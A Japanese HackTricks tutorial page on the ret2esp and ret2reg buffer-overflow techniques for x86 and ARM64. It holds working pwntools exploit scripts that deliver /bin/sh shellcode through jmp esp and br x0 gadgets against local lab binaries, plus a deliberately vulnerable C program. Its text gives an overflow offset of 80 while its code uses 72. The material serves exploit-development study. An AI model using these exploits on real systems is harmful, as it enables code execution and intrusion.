Ret2esp / Ret2reg
Reading time: 11 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Ret2esp
ESP(スタックポインタ)が常にスタックの最上部を指しているため、この技術はEIP(命令ポインタ)を**jmp esp
またはcall esp
**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後に配置されます。ret
命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。
**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかるjmp esp
またはcall esp
命令を使用することが可能です。しかし、ASLRが有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、PIEを打破する必要があるかもしれません)。
さらに、シェルコードをEIPの破損後に配置できることは、関数の操作中に実行されるpush
やpop
命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。
スペースが不足している場合
RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の**jmp
**シェルコードを次のように書きます:
sub rsp, 0x30
jmp rsp
スタックの早い段階にシェルコードを書きます。
例
この技術の例はhttps://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rspにあり、最終的なエクスプロイトは次のようになります:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
この技術の別の例はhttps://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.htmlで見ることができます。NXが有効でないバッファオーバーフローがあり、$esp
のアドレスを減少させるためにガジェットが使用され、その後shellcode
にジャンプするためにjmp esp;
が使われます:
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
同様に、関数がシェルコードが格納されているアドレスを返すことがわかっている場合、call eax
または jmp eax
命令(ret2eax テクニックとして知られる)を利用して、シェルコードを実行する別の方法を提供できます。eaxと同様に、興味深いアドレスを含む他のレジスタも使用できます(ret2reg)。
例
いくつかの例はここにあります:
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
はeax
にシェルコードが格納されているバッファのアドレスを格納し、eax
は上書きされていないため、ret2eax
を使用することが可能です。
ARM64
Ret2sp
ARM64 では、SP レジスタにジャンプする命令は存在しません。sp をレジスタに移動し、そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
私が発見した唯一のものは、spがジャンプする前にコピーされたレジストリの値を変更するものでした(そのため、それは無意味になります):
.png)
Ret2reg
もしレジストリに興味深いアドレスがあれば、適切な命令を見つけることでそこにジャンプすることが可能です。あなたは次のようなものを使用できます:
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
ARM64では、**x0
**が関数の戻り値を格納します。したがって、x0がユーザーによって制御されるバッファのアドレスを格納している可能性があり、そのバッファには実行するシェルコードが含まれています。
Example code:
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
関数の逆アセンブルを確認すると、バッファへのアドレス(bofに対して脆弱であり、ユーザーによって制御される)が、バッファオーバーフローから戻る前に**x0
に格納されている**ことがわかります:
.png)
また、**do_stuff
関数内にbr x0
**というガジェットが見つかります:
.png)
バイナリがPIEなしでコンパイルされているため、そのガジェットをジャンプするために使用します。パターンを使用すると、バッファオーバーフローのオフセットは80であることがわかるので、エクスプロイトは次のようになります:
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
もし fgets
の代わりに read
のようなものが使用されていた場合、戻りアドレスの最後の2バイトだけを上書きすることで PIEをバイパスすることが可能であり、完全なアドレスを知る必要はありませんでした。
fgets
では、最後にヌル (0x00) バイトを追加するため、うまくいきません。
Protections
- NX: スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。
- ASLR & PIE: これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。
References
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。